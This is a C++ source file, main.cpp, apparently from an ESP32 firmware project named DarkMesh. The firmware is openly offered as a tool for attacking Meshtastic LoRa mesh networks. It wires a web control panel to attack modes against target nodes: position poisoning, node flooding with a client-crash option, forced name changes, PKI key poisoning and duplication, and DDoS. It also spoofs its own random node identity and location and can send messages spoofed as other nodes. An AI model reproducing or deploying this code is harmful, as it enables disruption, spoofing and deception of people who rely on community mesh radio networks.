Files
DarkMesh/main/main.cpp
T
2025-09-19 16:36:14 +02:00

287 lines
14 KiB
C++

#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include "sdkconfig.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_system.h"
#include "esp_wifi.h"
#include "esp_event.h"
#include "nvs_flash.h"
#include "esp_log.h"
#include "esp_random.h"
#include "MeshtasticCompact.hpp"
#include "webserver.h"
#include "TMAttack.hpp"
#include "settings.hpp"
static const char* TAG = "DarkMesh";
static const char* ssid = "DarkMesh";
static const char* password = "1234Dark";
extern "C" {
void app_main();
}
TMAttack tmAttack;
TConfig config;
Radio_PINS radio_pins = {9, 11, 10, 8, 14, 12, 13}; // Default radio pins for Heltec WSL V3.
LoraConfig lora_config = {
.frequency = 869.25, // config
.bandwidth = 250.0, // config
.spreading_factor = 11, // config
.coding_rate = 5, // config
.sync_word = 0x2b,
.preamble_length = 16,
.output_power = 22, // config
.tcxo_voltage = 1.8,
.use_regulator_ldo = false,
}; // default LoRa configuration for EU LONGFAST 433
MeshtasticCompact meshtasticCompact;
void sendDebugMessage(const std::string& message) {
std::string safe_text = message;
std::replace(safe_text.begin(), safe_text.end(), '"', '\'');
std::string json = "{ \"type\":\"debug\", \"message\":\"" + safe_text + "\" }";
ws_sendall((uint8_t*)json.c_str(), json.length(), true);
ESP_LOGI("DEBUG", "%s", message.c_str());
}
void generateAndSendNodeElementToWs(MC_NodeInfo& nodeinfo) {
if (nodeinfo.node_id == 0) return;
MC_Position pos;
if (!meshtasticCompact.nodeinfo_db.getPosition(nodeinfo.node_id, pos)) {
pos.latitude_i = 0;
pos.longitude_i = 0;
}
if (!pos.has_latitude_i || !pos.has_longitude_i) {
pos.latitude_i = 0;
pos.longitude_i = 0;
}
std::string json = "{ \"type\": \"node_update\", \"nodes\": [ { \"id\": \"" + std::string(nodeinfo.id) + "\", \"ls\": " + std::to_string(nodeinfo.last_updated / 1000) + ", \"name\": \"" + nodeinfo.short_name + "\", \"pos\": { \"lat\": " + std::to_string(pos.latitude_i) + ", \"lon\": " + std::to_string(pos.longitude_i) + " } } ]}";
ws_sendall((uint8_t*)json.c_str(), json.length(), true);
}
void app_main(void) {
ESP_ERROR_CHECK(nvs_flash_init());
ESP_ERROR_CHECK(esp_netif_init());
ESP_ERROR_CHECK(esp_event_loop_create_default());
esp_netif_create_default_wifi_ap();
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
ESP_ERROR_CHECK(esp_wifi_init(&cfg));
wifi_config_t wifi_config = {};
strcpy((char*)wifi_config.ap.ssid, ssid);
wifi_config.ap.ssid_len = strlen(ssid);
strcpy((char*)wifi_config.ap.password, password);
wifi_config.ap.max_connection = 4;
wifi_config.ap.authmode = WIFI_AUTH_WPA_WPA2_PSK;
if (strlen(password) == 0) {
wifi_config.ap.authmode = WIFI_AUTH_OPEN;
}
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_AP));
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &wifi_config));
ESP_ERROR_CHECK(esp_wifi_start());
ESP_LOGI(TAG, "WiFi AP initialized. SSID: %s, Password: %s", ssid, password);
init_httpd();
ESP_LOGI(TAG, "Loading radio config.");
config.load_radio(lora_config);
meshtasticCompact.loadNodeDb();
ESP_LOGI(TAG, "Radio initializing...");
meshtasticCompact.RadioInit(RadioType::SX1262, radio_pins, lora_config);
ESP_LOGI(TAG, "Radio initialized.");
meshtasticCompact.setAutoFullNode(false); // we don't want to be a full node
meshtasticCompact.setSendHopLimit(7); // max hop limit
meshtasticCompact.setStealthMode(true); // stealth mode, we don't
meshtasticCompact.setSendEnabled(true); // we want to send packets
meshtasticCompact.setOnNodeInfoMessage([](MC_Header& header, MC_NodeInfo& nodeinfo, bool needReply, bool newNode) {
generateAndSendNodeElementToWs(nodeinfo);
if (newNode) {
meshtasticCompact.saveNodeDb();
}
});
meshtasticCompact.setOnPositionMessage([](MC_Header& header, MC_Position& pos, bool needReply) {
MC_NodeInfo* nodeinfo = meshtasticCompact.nodeinfo_db.get(header.srcnode);
if (nodeinfo) generateAndSendNodeElementToWs(*nodeinfo);
});
meshtasticCompact.setOnMessage([](MC_Header& header, MC_TextMessage& message) {
MC_NodeInfo* nodeinfo = meshtasticCompact.nodeinfo_db.get(header.srcnode);
std::string sender;
if (nodeinfo) {
sender = nodeinfo->short_name;
} else {
char hexbuf[11];
snprintf(hexbuf, sizeof(hexbuf), "0x%08" PRIx32, header.srcnode);
sender = hexbuf;
}
sendDebugMessage("Message from " + sender + ": " + message.text);
});
meshtasticCompact.setOnTelemetryDevice([](MC_Header& header, MC_Telemetry_Device& telemetry) {
sendDebugMessage("Telemetry from 0x" + std::to_string(header.srcnode) + ": uptime=" + std::to_string(telemetry.uptime_seconds) + "s, voltage=" + std::to_string(telemetry.voltage) + "V, battery=" + std::to_string(telemetry.battery_level) + "%, channel_utilization=" + std::to_string(telemetry.channel_utilization) + "%");
});
meshtasticCompact.setOnTelemetryEnvironment([](MC_Header& header, MC_Telemetry_Environment& telemetry) {
sendDebugMessage("Environment from 0x" + std::to_string(header.srcnode) + ": temperature=" + std::to_string(telemetry.temperature) + "C, humidity=" + std::to_string(telemetry.humidity) + "%, pressure=" + std::to_string(telemetry.pressure) + "hPa, lux=" + std::to_string(telemetry.lux) + "");
});
meshtasticCompact.setOnTraceroute([](MC_Header& header, MC_RouteDiscovery& route, bool for_me, bool is_reply, bool need_reply) {
sendDebugMessage("Traceroute from 0x" + std::to_string(header.srcnode) + ": route_count=" + std::to_string(route.route_count) + ", for_me=" + std::to_string(for_me) + ", is_reply=" + std::to_string(is_reply));
});
tmAttack.setRadio(&meshtasticCompact);
std::string short_name = "DM"; // short name
std::string long_name = "DarkMesh"; // long name
MeshtasticCompactHelpers::NodeInfoBuilder(meshtasticCompact.getMyNodeInfo(), esp_random(), short_name, long_name, esp_random() % 105); // random nodeinfo
MeshtasticCompactHelpers::PositionBuilder(meshtasticCompact.my_position,
-180.0 + static_cast<double>(esp_random()) / UINT32_MAX * 360.0, // random longitude [-180, 180]
-90.0 + static_cast<double>(esp_random()) / UINT32_MAX * 180.0, // random latitude [-90, 90]
esp_random() % 1000 // altitude
);
uint32_t timer = 0; // 0.1 second timer
while (1) {
timer++;
if (timer % 600000 == 0) {
// meshtasticCompact.SendMyNodeInfo();
// meshtasticCompact.SendMyPosition();
}
tmAttack.loop();
vTaskDelay(pdMS_TO_TICKS(100)); // wait 100 milliseconds
}
}
uint32_t getNodeIdFromCh(const char* source_id) {
uint32_t srcnode = 0xfffffff; // default all
const char* hexstr = (*source_id == '!') ? source_id + 1 : source_id;
char* endptr; // To check if the whole string was converted
errno = 0; // Reset errno before the call
unsigned long value = strtoul(hexstr, &endptr, 16);
if (endptr != hexstr && *endptr == '\0' && errno != ERANGE && value <= 0xFFFFFFFF) {
srcnode = (uint32_t)value;
}
return srcnode;
}
void handle_start_attack(const char* attack_type, JSON_Object* params) {
ESP_LOGI("WEB", "Handling 'start_attack': %s", attack_type);
if (strcmp(attack_type, "pos_poison") == 0 && params != NULL) {
double min_lat = json_object_get_number(params, "min_lat");
double max_lat = json_object_get_number(params, "max_lat");
double min_lon = json_object_get_number(params, "min_lon");
double max_lon = json_object_get_number(params, "max_lon");
const char* target_id = json_object_get_string(params, "target_id");
ESP_LOGI("WEB", "Position Poisoning Attack Params: min_lat=%.6f, max_lat=%.6f, min_lon=%.6f, max_lon=%.6f", min_lat, max_lat, min_lon, max_lon);
tmAttack.setPosParams(min_lat, max_lat, min_lon, max_lon);
tmAttack.setTarget(getNodeIdFromCh(target_id));
tmAttack.setAttackType(AttackType::POS_POISON);
std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"pos_poison\"}";
ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
}
if (strcmp(attack_type, "node_flood") == 0 && params != NULL) {
// const char* target_id = json_object_get_string(params, "target_id");
// ESP_LOGI("WEB", "Node Flood Attack Params: target_id=%s", target_id);
// tmAttack.setTarget(getNodeIdFromCh(target_id));
double min_lat = json_object_get_number(params, "min_lat");
double max_lat = json_object_get_number(params, "max_lat");
double min_lon = json_object_get_number(params, "min_lon");
double max_lon = json_object_get_number(params, "max_lon");
uint8_t crashclient = (uint8_t)json_object_get_number(params, "crashclient");
tmAttack.setPosParams(min_lat, max_lat, min_lon, max_lon);
tmAttack.setFloodClientCrash(crashclient);
tmAttack.setAttackType(AttackType::NODE_FLOOD);
std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"node_flood\"}";
ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
}
if (strcmp(attack_type, "name_change") == 0 && params != NULL) {
const char* target_id = json_object_get_string(params, "target_id");
const char* emoji = json_object_get_string(params, "emoji");
ESP_LOGI("WEB", "Name Change Attack Params: target_id=%s, emoji=%s", target_id, emoji);
tmAttack.setTarget(getNodeIdFromCh(target_id));
tmAttack.setEmoji(emoji);
tmAttack.setAttackType(AttackType::NAME_CHANGE);
std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"name_change\"}";
ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
}
if (strcmp(attack_type, "pki_poison") == 0 && params != NULL) {
const char* target_id = json_object_get_string(params, "target_id");
ESP_LOGI("WEB", "PKI Poison Attack Params: target_id=%s", target_id);
tmAttack.setTarget(getNodeIdFromCh(target_id));
tmAttack.setAttackType(AttackType::PKI_POISON);
std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"pki_poison\"}";
ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
}
if (strcmp(attack_type, "ddos") == 0) {
tmAttack.setAttackType(AttackType::DDOS);
std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"ddos\"}";
ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
}
if (strcmp(attack_type, "pki_dupe") == 0 && params != NULL) {
const char* target_id = json_object_get_string(params, "target_id");
ESP_LOGI("WEB", "PKI Duplication Attack Params: target_id=%s", target_id);
tmAttack.setTarget(getNodeIdFromCh(target_id));
tmAttack.setAttackType(AttackType::PKI_DUPE);
std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"pki_dupe\"}";
ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
}
}
void handle_set_config(JSON_Object* params) {
ESP_LOGI("WEB", "Handling 'set_config'");
double frequency = json_object_get_number(params, "frequency");
double bandwidth = json_object_get_number(params, "bandwidth");
double sf = json_object_get_number(params, "spreading_factor");
double cr = json_object_get_number(params, "coding_rate");
double power = json_object_get_number(params, "power");
ESP_LOGI("WEB", "Config: Freq=%.1f, BW=%.1f, SF=%.0f, CR=%.0f, Power=%.0f", frequency, bandwidth, sf, cr, power);
meshtasticCompact.setRadioFrequency(frequency);
meshtasticCompact.setRadioBandwidth(bandwidth);
meshtasticCompact.setRadioSpreadingFactor(static_cast<uint8_t>(sf));
meshtasticCompact.setRadioCodingRate(static_cast<uint8_t>(cr));
meshtasticCompact.setRadioPower(static_cast<int8_t>(power));
lora_config.frequency = frequency;
lora_config.bandwidth = bandwidth;
lora_config.spreading_factor = static_cast<uint8_t>(sf);
lora_config.coding_rate = static_cast<uint8_t>(cr);
lora_config.output_power = static_cast<int8_t>(power);
config.save_radio(lora_config);
sendDebugMessage("Radio configuration updated.");
}
void handle_stop_attack() {
tmAttack.setAttackType(AttackType::NONE);
ESP_LOGI("WEB", "Handling 'stop_attack'");
std::string wsmsg = "{\"type\":\"status_update\"}";
ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
}
void handle_send_message(const char* source_id, const char* message) {
ESP_LOGI("WEB", "Handling 'send_message' from %s: %s", source_id, message);
uint32_t srcnode = getNodeIdFromCh(source_id);
meshtasticCompact.SendTextMessage(std::string(message), 0xffffffff, 8, MC_MESSAGE_TYPE_TEXT, srcnode);
sendDebugMessage("Sent message.");
}
void handle_initme() {
ESP_LOGI("WEB", "Handling 'initme'");
// sending all nodes to web
for (auto& nodeinfo : meshtasticCompact.nodeinfo_db) {
if (!nodeinfo.node_id) {
continue;
}
generateAndSendNodeElementToWs(nodeinfo);
vTaskDelay(pdMS_TO_TICKS(20)); // slight delay to avoid overwhelming the socket
}
// send current attack to web
std::string attack_json = "{ \"type\": \"status_update\", \"current_attack\": \"" + tmAttack.getCurrentAttackTypeString() + "\" }";
ws_sendall((uint8_t*)attack_json.c_str(), attack_json.length(), true);
vTaskDelay(pdMS_TO_TICKS(20));
// send radio config
std::string config_json = "{ \"type\": \"radio_config\", \"config\": { \"frequency\": " + std::to_string(lora_config.frequency) + ", \"bandwidth\": " + std::to_string(lora_config.bandwidth) + ", \"spreading_factor\": " + std::to_string(lora_config.spreading_factor) + ", \"coding_rate\": " + std::to_string(lora_config.coding_rate) + ", \"power\": " + std::to_string(lora_config.output_power) + " } }";
ws_sendall((uint8_t*)config_json.c_str(), config_json.length(), true);
}